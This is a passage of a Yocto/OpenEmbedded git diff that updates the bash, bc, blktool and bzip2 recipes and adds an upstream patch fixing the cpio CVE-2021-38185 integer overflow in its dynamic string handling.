+- @-if cmp -s old-builtext.h builtext.h 2>/dev/null; then \ +- mv old-builtext.h builtext.h; \ ++ @-if ! cmp -s builtext.h builtext-new.h 2>/dev/null; then \ ++ mv builtext-new.h builtext.h; \ + else \ +- $(RM) old-builtext.h; \ ++ $(RM) builtext-new.h; \ + fi +- @-if cmp -s old-builtins.c builtins.c 2>/dev/null; then \ +- mv old-builtins.c builtins.c; \ ++ @-if ! cmp -s builtins.c builtins-new.c 2>/dev/null; then \ ++ mv builtins-new.c builtins.c; \ + else \ +- $(RM) old-builtins.c; \ ++ $(RM) builtins-new.c; \ + fi + + helpdoc: gen-helpfiles +Index: bash-5.1.8/builtins/mkbuiltins.c +=================================================================== +--- bash-5.1.8.orig/builtins/mkbuiltins.c ++++ bash-5.1.8/builtins/mkbuiltins.c +@@ -113,6 +113,9 @@ char *struct_filename = (char *)NULL; + /* The name of the external declaration file. */ + char *extern_filename = (char *)NULL; + ++/* The final name of the external declaration file. */ ++char *extern_final_filename = (char *)NULL; ++ + /* Here is a structure for manipulating arrays of data. */ + typedef struct { + int size; /* Number of slots allocated to array. */ +@@ -230,6 +233,8 @@ main (argc, argv) + + if (strcmp (arg, "-externfile") == 0) + extern_filename = argv[arg_index++]; ++ else if (strcmp (arg, "-externfinalfile") == 0) ++ extern_final_filename = argv[arg_index++]; + else if (strcmp (arg, "-structfile") == 0) + struct_filename = argv[arg_index++]; + else if (strcmp (arg, "-noproduction") == 0) +@@ -273,6 +278,9 @@ main (argc, argv) + } + } + ++ if (!extern_final_filename) ++ extern_final_filename = extern_filename; ++ + /* If there are no files to process, just quit now. */ + if (arg_index == argc) + exit (0); +@@ -1174,7 +1182,7 @@ write_file_headers (structfile, externfi + fprintf (structfile, "%s\n", structfile_header[i]); + + fprintf (structfile, "#include \"%s\"\n", +- extern_filename ? extern_filename : "builtext.h"); ++ extern_final_filename ? extern_final_filename : "builtext.h"); + + fprintf (structfile, "#include \"bashintl.h\"\n"); + +@@ -1184,7 +1192,7 @@ write_file_headers (structfile, externfi + if (externfile) + fprintf (externfile, + "/* %s - The list of builtins found in libbuiltins.a. */\n", +- extern_filename ? extern_filename : "builtext.h"); ++ extern_final_filename ? extern_final_filename : "builtext.h"); + } + + /* Write out any necessary closing information for diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch new file mode 100644 index 0000000000..bebaa08bfe --- /dev/null +++ b/meta/recipes-extended/bash/bash/use_aclocal.patch @@ -0,0 +1,59 @@ +Including m4 files directly like this confuses autotools.bbclass, remove +the references and rely upon aclocal to collect the m4 files together +as needed instead making it work like other autotools based projects. + +Upstream-Status: Inappropriate [OE configuration specific] +RP 2021/1/20 + +Index: bash-5.1/configure.ac +=================================================================== +--- bash-5.1.orig/configure.ac ++++ bash-5.1/configure.ac +@@ -688,47 +688,6 @@ if test x$SIZE = x; then + fi + AC_SUBST(SIZE) + +-m4_include([m4/stat-time.m4]) +-m4_include([m4/timespec.m4]) +- +-dnl include files for gettext +- +-m4_include([m4/codeset.m4]) +-m4_include([m4/extern-inline.m4]) +-m4_include([m4/fcntl-o.m4]) +-m4_include([m4/gettext.m4]) +-m4_include([m4/glibc2.m4]) +-m4_include([m4/glibc21.m4]) +-m4_include([m4/host-cpu-c-abi.m4]) +-m4_include([m4/iconv.m4]) +-m4_include([m4/intdiv0.m4]) +-m4_include([m4/intl.m4]) +-m4_include([m4/intlmacosx.m4]) +-m4_include([m4/intl-thread-locale.m4]) +-m4_include([m4/intmax.m4]) +-m4_include([m4/inttypes-pri.m4]) +-m4_include([m4/inttypes.m4]) +-m4_include([m4/inttypes_h.m4]) +-m4_include([m4/lcmessage.m4]) +-m4_include([m4/lib-ld.m4]) +-m4_include([m4/lib-link.m4]) +-m4_include([m4/lib-prefix.m4]) +-m4_include([m4/lock.m4]) +-m4_include([m4/nls.m4]) +-m4_include([m4/po.m4]) +-m4_include([m4/printf-posix.m4]) +-m4_include([m4/progtest.m4]) +-m4_include([m4/pthread_rwlock_rdlock.m4]) +-m4_include([m4/size_max.m4]) +-m4_include([m4/stdint_h.m4]) +-m4_include([m4/threadlib.m4]) +-m4_include([m4/uintmax_t.m4]) +-m4_include([m4/ulonglong.m4]) +-m4_include([m4/visibility.m4]) +-m4_include([m4/wchar_t.m4]) +-m4_include([m4/wint_t.m4]) +-m4_include([m4/xsize.m4]) +- + dnl Turn on any extensions available in the GNU C library. + AC_DEFINE(_GNU_SOURCE, 1) + diff --git a/meta/recipes-extended/bash/bash_5.0.bb b/meta/recipes-extended/bash/bash_5.0.bb deleted file mode 100644 index 8ff9e6edaf..0000000000 --- a/meta/recipes-extended/bash/bash_5.0.bb +++ /dev/null @@ -1,72 +0,0 @@ -require bash.inc - -# GPLv2+ (< 4.0), GPLv3+ (>= 4.0) -LICENSE = "GPLv3+" -LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" - -SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-001;apply=yes;striplevel=0;name=patch001 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-002;apply=yes;striplevel=0;name=patch002 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-003;apply=yes;striplevel=0;name=patch003 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-004;apply=yes;striplevel=0;name=patch004 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-005;apply=yes;striplevel=0;name=patch005 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-006;apply=yes;striplevel=0;name=patch006 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-007;apply=yes;striplevel=0;name=patch007 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-008;apply=yes;striplevel=0;name=patch008 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-009;apply=yes;striplevel=0;name=patch009 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-010;apply=yes;striplevel=0;name=patch010 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-011;apply=yes;striplevel=0;name=patch011 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-012;apply=yes;striplevel=0;name=patch012 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-013;apply=yes;striplevel=0;name=patch013 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-014;apply=yes;striplevel=0;name=patch014 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-015;apply=yes;striplevel=0;name=patch015 \ - ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-016;apply=yes;striplevel=0;name=patch016 \ - file://execute_cmd.patch \ - file://mkbuiltins_have_stringize.patch \ - file://build-tests.patch \ - file://test-output.patch \ - file://run-ptest \ - file://run-bash-ptests \ - file://fix-run-builtins.patch \ - " - -SRC_URI[tarball.md5sum] = "2b44b47b905be16f45709648f671820b" -SRC_URI[tarball.sha256sum] = "b4a80f2ac66170b2913efbfb9f2594f1f76c7b1afd11f799e22035d63077fb4d" - -SRC_URI[patch001.md5sum] = "b026862ab596a5883bb4f0d1077a3819" -SRC_URI[patch001.sha256sum] = "f2fe9e1f0faddf14ab9bfa88d450a75e5d028fedafad23b88716bd657c737289" -SRC_URI[patch002.md5sum] = "2f4a7787365790ae57f36b311701ea7e" -SRC_URI[patch002.sha256sum] = "87e87d3542e598799adb3e7e01c8165bc743e136a400ed0de015845f7ff68707" -SRC_URI[patch003.md5sum] = "af7f2dd93fd5429fb5e9a642ff74f87d" -SRC_URI[patch003.sha256sum] = "4eebcdc37b13793a232c5f2f498a5fcbf7da0ecb3da2059391c096db620ec85b" -SRC_URI[patch004.md5sum] = "b60545b273bfa4e00a760f2c648bed9c" -SRC_URI[patch004.sha256sum] = "14447ad832add8ecfafdce5384badd933697b559c4688d6b9e3d36ff36c62f08" -SRC_URI[patch005.md5sum] = "875a0bedf48b74e453e3997c84b5d8a4" -SRC_URI[patch005.sha256sum] = "5bf54dd9bd2c211d2bfb34a49e2c741f2ed5e338767e9ce9f4d41254bf9f8276" -SRC_URI[patch006.md5sum] = "4a8ee95adb72c3aba03d9e8c9f96ece6" -SRC_URI[patch006.sha256sum] = "d68529a6ff201b6ff5915318ab12fc16b8a0ebb77fda3308303fcc1e13398420" -SRC_URI[patch007.md5sum] = "411560d81fde2dc5b17b83c3f3b58c6f" -SRC_URI[patch007.sha256sum] = "17b41e7ee3673d8887dd25992417a398677533ab8827938aa41fad70df19af9b" -SRC_URI[patch008.md5sum] = "dd7cf7a784d1838822cad8d419315991" -SRC_URI[patch008.sha256sum] = "eec64588622a82a5029b2776e218a75a3640bef4953f09d6ee1f4199670ad7e3" -SRC_URI[patch009.md5sum] = "c1b3e937cd6dccbb7fd772f32812a0da" -SRC_URI[patch009.sha256sum] = "ed3ca21767303fc3de93934aa524c2e920787c506b601cc40a4897d4b094d903" -SRC_URI[patch010.md5sum] = "19b41e73b03602d0e261c471b53e670c" -SRC_URI[patch010.sha256sum] = "d6fbc325f0b5dc54ddbe8ee43020bced8bd589ddffea59d128db14b2e52a8a11" -SRC_URI[patch011.md5sum] = "414339330a3634137081a97f2c8615a8" -SRC_URI[patch011.sha256sum] = "2c4de332b91eaf797abbbd6c79709690b5cbd48b12e8dfe748096dbd7bf474ea" -SRC_URI[patch012.md5sum] = "1870268f62b907221b078ad109e1fa94" -SRC_URI[patch012.sha256sum] = "2943ee19688018296f2a04dbfe30b7138b889700efa8ff1c0524af271e0ee233" -SRC_URI[patch013.md5sum] = "40d923af4b952b01983ed4c889ae2653" -SRC_URI[patch013.sha256sum] = "f5d7178d8da30799e01b83a0802018d913d6aa972dd2ddad3b927f3f3eb7099a" -SRC_URI[patch014.md5sum] = "57857b22053c8167677e5e5ac5c6669b" -SRC_URI[patch014.sha256sum] = "5d6eee6514ee6e22a87bba8d22be0a8621a0ae119246f1c5a9a35db1f72af589" -SRC_URI[patch015.md5sum] = "c4c6ea23d09a74eaa9385438e48fdf02" -SRC_URI[patch015.sha256sum] = "a517df2dda93b26d5cbf00effefea93e3a4ccd6652f152f4109170544ebfa05e" -SRC_URI[patch016.md5sum] = "a682ed6fa2c2e7a7c3ba6bdeada07fb5" -SRC_URI[patch016.sha256sum] = "ffd1d7a54a99fa7f5b1825e4f7e95d8c8876bc2ca151f150e751d429c650b06d" - -DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}" -DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}" - -BBCLASSEXTEND = "nativesdk" diff --git a/meta/recipes-extended/bash/bash_5.1.16.bb b/meta/recipes-extended/bash/bash_5.1.16.bb new file mode 100644 index 0000000000..d046faa4e5 --- /dev/null +++ b/meta/recipes-extended/bash/bash_5.1.16.bb @@ -0,0 +1,25 @@ +require bash.inc + +# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0) +LICENSE = "GPL-3.0-or-later" +LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" + +SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \ + file://execute_cmd.patch \ + file://mkbuiltins_have_stringize.patch \ + file://build-tests.patch \ + file://test-output.patch \ + file://run-ptest \ + file://run-bash-ptests \ + file://fix-run-builtins.patch \ + file://use_aclocal.patch \ + file://makerace.patch \ + file://makerace2.patch \ + " + +SRC_URI[tarball.sha256sum] = "5bac17218d3911834520dad13cd1f85ab944e1c09ae1aba55906be1f8192f558" + +DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}" +DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}" + +BBCLASSEXTEND = "nativesdk" diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb index 4a51302492..1bec76bb2a 100644 --- a/meta/recipes-extended/bc/bc_1.07.1.bb +++ b/meta/recipes-extended/bc/bc_1.07.1.bb @@ -1,7 +1,8 @@ SUMMARY = "Arbitrary precision calculator language" HOMEPAGE = "http://www.gnu.org/software/bc/bc.html" +DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements." -LICENSE = "GPLv3+" +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \ file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \ @@ -24,11 +25,11 @@ PACKAGECONFIG ??= "readline" PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline" PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit" -do_compile_prepend() { +do_compile:prepend() { cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h } -ALTERNATIVE_${PN} = "bc dc" +ALTERNATIVE:${PN} = "bc dc" ALTERNATIVE_PRIORITY = "100" BBCLASSEXTEND = "native" diff --git a/meta/recipes-extended/blktool/blktool_4-7.1.bb b/meta/recipes-extended/blktool/blktool_4-7.1.bb index ff2eaa5352..bb44befb56 100644 --- a/meta/recipes-extended/blktool/blktool_4-7.1.bb +++ b/meta/recipes-extended/blktool/blktool_4-7.1.bb @@ -3,7 +3,7 @@ DESCRIPTION = "blktool is used for querying and/or changing settings \ of a block device. It is like hdparm but a more general tool, as it \ works on SCSI, IDE and SATA devices." HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \ file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373" diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am index d4498947e8..d12d3a45e4 100644 --- a/meta/recipes-extended/bzip2/bzip2/Makefile.am +++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am @@ -1,6 +1,6 @@ lib_LTLIBRARIES = libbz2.la -libbz2_la_LDFLAGS = -version-info 1:6:0 +libbz2_la_LDFLAGS = -version-info 1:8:0 libbz2_la_SOURCES = blocksort.c \ huffman.c \ @@ -46,7 +46,7 @@ runtest: else echo "FAIL: sample2 decompress"; fi @if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\ else echo "FAIL: sample3 decompress"; fi - ./bzip2-tests/run-tests.sh --tests-dir="$(PWD)/bzip2-tests" + ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests" install-ptest: sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \ diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb index 70eb67f1f2..78138d1543 100644 --- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb +++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb @@ -4,14 +4,14 @@ Huffman coding. Compression is generally considerably better than that achieved LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors." HOMEPAGE = "https://sourceware.org/bzip2/" SECTION = "console/utils" -LICENSE = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib" -LICENSE_${PN} = "bzip2-1.0.6" -LICENSE_${PN}-dev = "bzip2-1.0.6" -LICENSE_${PN}-dbg = "bzip2-1.0.6" -LICENSE_${PN}-doc = "bzip2-1.0.6" -LICENSE_${PN}-src = "bzip2-1.0.6" -LICENSE_libbz2 = "bzip2-1.0.6" -LICENSE_${PN}-ptest = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib" +LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib" +LICENSE:${PN} = "bzip2-1.0.6" +LICENSE:${PN}-dev = "bzip2-1.0.6" +LICENSE:${PN}-dbg = "bzip2-1.0.6" +LICENSE:${PN}-doc = "bzip2-1.0.6" +LICENSE:${PN}-src = "bzip2-1.0.6" +LICENSE:libbz2 = "bzip2-1.0.6" +LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib" LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \ file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \ @@ -22,7 +22,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e " SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \ - git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests \ + git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master \ file://configure.ac;subdir=${BP} \ file://Makefile.am;subdir=${BP} \ file://run-ptest \ @@ -36,17 +36,17 @@ UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/" PACKAGES =+ "libbz2" -CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64" +CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64" inherit autotools update-alternatives ptest relative_symlinks ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "bunzip2 bzcat bzip2" +ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2" #install binaries to bzip2-native under sysroot for replacement-native -EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}" +EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}" -do_configure_prepend () { +do_configure:prepend () { sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac } @@ -62,9 +62,9 @@ do_install_ptest () { sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile } -FILES_libbz2 = "${libdir}/lib*${SOLIBS}" +FILES:libbz2 = "${libdir}/lib*${SOLIBS}" -RDEPENDS_${PN}-ptest += "make bash" +RDEPENDS:${PN}-ptest += "make bash" -PROVIDES_append_class-native = " bzip2-replacement-native" +PROVIDES:append:class-native = " bzip2-replacement-native" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch new file mode 100644 index 0000000000..6ceafeee49 --- /dev/null +++ b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch @@ -0,0 +1,581 @@ +GNU cpio through 2.13 allows attackers to execute arbitrary code via a crafted +pattern file, because of a dstring.c ds_fgetstr integer overflow that triggers +an out-of-bounds heap write. + +CVE: CVE-2021-38185 +Upstream-Status: Backport +Signed-off-by: Ross Burton <ross.burton@arm.com> + +From e494c68a3a0951b1eaba77e2db93f71a890e15d8 Mon Sep 17 00:00:00 2001 +From: Sergey Poznyakoff <gray@gnu.org> +Date: Sat, 7 Aug 2021 12:52:21 +0300 +Subject: [PATCH 1/3] Rewrite dynamic string support. + +* src/dstring.c (ds_init): Take a single argument. +(ds_free): New function. +(ds_resize): Take a single argument. Use x2nrealloc to expand +the storage. +(ds_reset,ds_append,ds_concat,ds_endswith): New function. +(ds_fgetstr): Rewrite. In particular, this fixes integer overflow. +* src/dstring.h (dynamic_string): Keep both the allocated length +(ds_size) and index of the next free byte in the string (ds_idx). +(ds_init,ds_resize): Change signature. +(ds_len): New macro. +(ds_free,ds_reset,ds_append,ds_concat,ds_endswith): New protos. +* src/copyin.c: Use new ds_ functions. +* src/copyout.c: Likewise. +* src/copypass.c: Likewise. +* src/util.c: Likewise. +--- + src/copyin.c | 40 +++++++++++------------ + src/copyout.c | 16 ++++----- + src/copypass.c | 34 +++++++++---------- + src/dstring.c | 88 ++++++++++++++++++++++++++++++++++++-------------- + src/dstring.h | 31 +++++++++--------- + src/util.c | 6 ++-- + 6 files changed, 123 insertions(+), 92 deletions(-) + +diff --git a/src/copyin.c b/src/copyin.c +index b29f348..37e503a 100644 +--- a/src/copyin.c ++++ b/src/copyin.c +@@ -55,11 +55,12 @@ query_rename(struct cpio_file_stat* file_hdr, FILE *tty_in, FILE *tty_out, + char *str_res; /* Result for string function. */ + static dynamic_string new_name; /* New file name for rename option. */ + static int initialized_new_name = false; ++ + if (!initialized_new_name) +- { +- ds_init (&new_name, 128); +- initialized_new_name = true; +- } ++ { ++ ds_init (&new_name); ++ initialized_new_name = true; ++ } + + if (rename_flag) + { +@@ -779,37 +780,36 @@ long_format (struct cpio_file_stat *file_hdr, char const *link_name) + already in `save_patterns' (from the command line) are preserved. */ + + static void +-read_pattern_file () ++read_pattern_file (void) + { +- int max_new_patterns; +- char **new_save_patterns; +- int new_num_patterns; ++ char **new_save_patterns = NULL; ++ size_t max_new_patterns; ++ size_t new_num_patterns; + int i; +- dynamic_string pattern_name; ++ dynamic_string pattern_name = DYNAMIC_STRING_INITIALIZER; + FILE *pattern_fp; + + if (num_patterns < 0) + num_patterns = 0; +- max_new_patterns = 1 + num_patterns; +- new_save_patterns = (char **) xmalloc (max_new_patterns * sizeof (char *)); + new_num_patterns = num_patterns; +- ds_init (&pattern_name, 128); ++ max_new_patterns = num_patterns; ++ new_save_patterns = xcalloc (max_new_patterns, sizeof (new_save_patterns[0])); + + pattern_fp = fopen (pattern_file_name, "r"); + if (pattern_fp == NULL) + open_fatal (pattern_file_name); + while (ds_fgetstr (pattern_fp, &pattern_name, '\n') != NULL) + { +- if (new_num_patterns >= max_new_patterns) +- { +- max_new_patterns += 1; +- new_save_patterns = (char **) +- xrealloc ((char *) new_save_patterns, +- max_new_patterns * sizeof (char *)); +- } ++ if (new_num_patterns == max_new_patterns) ++ new_save_patterns = x2nrealloc (new_save_patterns, ++ &max_new_patterns, ++ sizeof (new_save_patterns[0])); + new_save_patterns[new_num_patterns] = xstrdup (pattern_name.ds_string); + ++new_num_patterns; + } ++ ++ ds_free (&pattern_name); ++ + if (ferror (pattern_fp) || fclose (pattern_fp) == EOF) + close_error (pattern_file_name); + +@@ -1196,7 +1196,7 @@ swab_array (char *ptr, int count) + in the file system. */ + + void +-process_copy_in () ++process_copy_in (void) + { + char done = false; /* True if trailer reached. */ + FILE *tty_in = NULL; /* Interactive file for rename option. */ +diff --git a/src/copyout.c b/src/copyout.c +index 8b0beb6..26e3dda 100644 +--- a/src/copyout.c ++++ b/src/copyout.c +@@ -594,9 +594,10 @@ assign_string (char **pvar, char *value) + The format of the header depends on the compatibility (-c) flag. */ + + void +-process_copy_out () ++process_copy_out (void) + { +- dynamic_string input_name; /* Name of file read from stdin. */ ++ dynamic_string input_name = DYNAMIC_STRING_INITIALIZER; ++ /* Name of file read from stdin. */ + struct stat file_stat; /* Stat record for file. */ + struct cpio_file_stat file_hdr = CPIO_FILE_STAT_INITIALIZER; + /* Output header information. */ +@@ -605,7 +606,6 @@ process_copy_out () + char *orig_file_name = NULL; + + /* Initialize the copy out. */ +- ds_init (&input_name, 128); + file_hdr.c_magic = 070707; + + /* Check whether the output file might be a tape. */ +@@ -657,14 +657,9 @@ process_copy_out () + { + if (file_hdr.c_mode & CP_IFDIR) + { +- int len = strlen (input_name.ds_string); + /* Make sure the name ends with a slash */ +- if (input_name.ds_string[len-1] != '/') +- { +- ds_resize (&input_name, len + 2); +- input_name.ds_string[len] = '/'; +- input_name.ds_string[len+1] = 0; +- } ++ if (!ds_endswith (&input_name, '/')) ++ ds_append (&input_name, '/'); + } + } + +@@ -875,6 +870,7 @@ process_copy_out () + (unsigned long) blocks), (unsigned long) blocks); + } + cpio_file_stat_free (&file_hdr); ++ ds_free (&input_name); + } + + +diff --git a/src/copypass.c b/src/copypass.c +index dc13b5b..62f31c6 100644 +--- a/src/copypass.c ++++ b/src/copypass.c +@@ -48,10 +48,12 @@ set_copypass_perms (int fd, const char *name, struct stat *st) + If `link_flag', link instead of copying. */ + + void +-process_copy_pass () ++process_copy_pass (void) + { +- dynamic_string input_name; /* Name of file from stdin. */ +- dynamic_string output_name; /* Name of new file. */ ++ dynamic_string input_name = DYNAMIC_STRING_INITIALIZER; ++ /* Name of file from stdin. */ ++ dynamic_string output_name = DYNAMIC_STRING_INITIALIZER; ++ /* Name of new file. */ + size_t dirname_len; /* Length of `directory_name'. */ + int res; /* Result of functions. */ + char *slash; /* For moving past slashes in input name. */ +@@ -65,25 +67,18 @@ process_copy_pass () + created files */ + + /* Initialize the copy pass. */ +- ds_init (&input_name, 128); + + dirname_len = strlen (directory_name); + if (change_directory_option && !ISSLASH (directory_name[0])) + { + char *pwd = xgetcwd (); +- +- dirname_len += strlen (pwd) + 1; +- ds_init (&output_name, dirname_len + 2); +- strcpy (output_name.ds_string, pwd); +- strcat (output_name.ds_string, "/"); +- strcat (output_name.ds_string, directory_name); ++ ++ ds_concat (&output_name, pwd); ++ ds_append (&output_name, '/'); + } +- else +- { +- ds_init (&output_name, dirname_len + 2); +- strcpy (output_name.ds_string, directory_name); +- } +- output_name.ds_string[dirname_len] = '/'; ++ ds_concat (&output_name, directory_name); ++ ds_append (&output_name, '/'); ++ dirname_len = ds_len (&output_name); + output_is_seekable = true; + + change_dir (); +@@ -116,8 +111,8 @@ process_copy_pass () + /* Make the name of the new file. */ + for (slash = input_name.ds_string; *slash == '/'; ++slash) + ; +- ds_resize (&output_name, dirname_len + strlen (slash) + 2); +- strcpy (output_name.ds_string + dirname_len + 1, slash); ++ ds_reset (&output_name, dirname_len); ++ ds_concat (&output_name, slash); + + existing_dir = false; + if (lstat (output_name.ds_string, &out_file_stat) == 0) +@@ -333,6 +328,9 @@ process_copy_pass () + (unsigned long) blocks), + (unsigned long) blocks); + } ++ ++ ds_free (&input_name); ++ ds_free (&output_name); + } + + /* Try and create a hard link from FILE_NAME to another file +diff --git a/src/dstring.c b/src/dstring.c +index e9c063f..358f356 100644 +--- a/src/dstring.c ++++ b/src/dstring.c +@@ -20,8 +20,8 @@ + #if defined(HAVE_CONFIG_H) + # include <config.h> + #endif +- + #include <stdio.h> ++#include <stdlib.h> + #if defined(HAVE_STRING_H) || defined(STDC_HEADERS) + #include <string.h> + #else +@@ -33,24 +33,41 @@ + /* Initialiaze dynamic string STRING with space for SIZE characters. */ + + void +-ds_init (dynamic_string *string, int size) ++ds_init (dynamic_string *string) ++{ ++ memset (string, 0, sizeof *string); ++} ++ ++/* Free the dynamic string storage. */ ++ ++void ++ds_free (dynamic_string *string) + { +- string->ds_length = size; +- string->ds_string = (char *) xmalloc (size); ++ free (string->ds_string); + } + +-/* Expand dynamic string STRING, if necessary, to hold SIZE characters. */ ++/* Expand dynamic string STRING, if necessary. */ + + void +-ds_resize (dynamic_string *string, int size) ++ds_resize (dynamic_string *string) + { +- if (size > string->ds_length) ++ if (string->ds_idx == string->ds_size) + { +- string->ds_length = size; +- string->ds_string = (char *) xrealloc ((char *) string->ds_string, size); ++ string->ds_string = x2nrealloc (string->ds_string, &string->ds_size, ++ 1); + } + } + ++/* Reset the index of the dynamic string S to LEN. */ ++ ++void ++ds_reset (dynamic_string *s, size_t len) ++{ ++ while (len > s->ds_size) ++ ds_resize (s); ++ s->ds_idx = len; ++} ++ + /* Dynamic string S gets a string terminated by the EOS character + (which is removed) from file F. S will increase + in size during the function if the string from F is longer than +@@ -61,34 +78,50 @@ ds_resize (dynamic_string *string, int size) + char * + ds_fgetstr (FILE *f, dynamic_string *s, char eos) + { +- int insize; /* Amount needed for line. */ +- int strsize; /* Amount allocated for S. */ + int next_ch; + + /* Initialize. */ +- insize = 0; +- strsize = s->ds_length; ++ s->ds_idx = 0; + + /* Read the input string. */ +- next_ch = getc (f); +- while (next_ch != eos && next_ch != EOF) ++ while ((next_ch = getc (f)) != eos && next_ch != EOF) + { +- if (insize >= strsize - 1) +- { +- ds_resize (s, strsize * 2 + 2); +- strsize = s->ds_length; +- } +- s->ds_string[insize++] = next_ch; +- next_ch = getc (f); ++ ds_resize (s); ++ s->ds_string[s->ds_idx++] = next_ch; + } +- s->ds_string[insize++] = '\0'; ++ ds_resize (s); ++ s->ds_string[s->ds_idx] = '\0'; + +- if (insize == 1 && next_ch == EOF) ++ if (s->ds_idx == 0 && next_ch == EOF) + return NULL; + else + return s->ds_string; + } + ++void ++ds_append (dynamic_string *s, int c) ++{ ++ ds_resize (s); ++ s->ds_string[s->ds_idx] = c; ++ if (c) ++ { ++ s->ds_idx++; ++ ds_resize (s); ++ s->ds_string[s->ds_idx] = 0; ++ } ++} ++ ++void ++ds_concat (dynamic_string *s, char const *str) ++{ ++ size_t len = strlen (str); ++ while (len + 1 > s->ds_size) ++ ds_resize (s); ++ memcpy (s->ds_string + s->ds_idx, str, len); ++ s->ds_idx += len; ++ s->ds_string[s->ds_idx] = 0; ++} ++ + char * + ds_fgets (FILE *f, dynamic_string *s) + { +@@ -100,3 +133,10 @@ ds_fgetname (FILE *f, dynamic_string *s) + { + return ds_fgetstr (f, s, '\0'); + } ++ ++/* Return true if the dynamic string S ends with character C. */ ++int ++ds_endswith (dynamic_string *s, int c) ++{ ++ return (s->ds_idx > 0 && 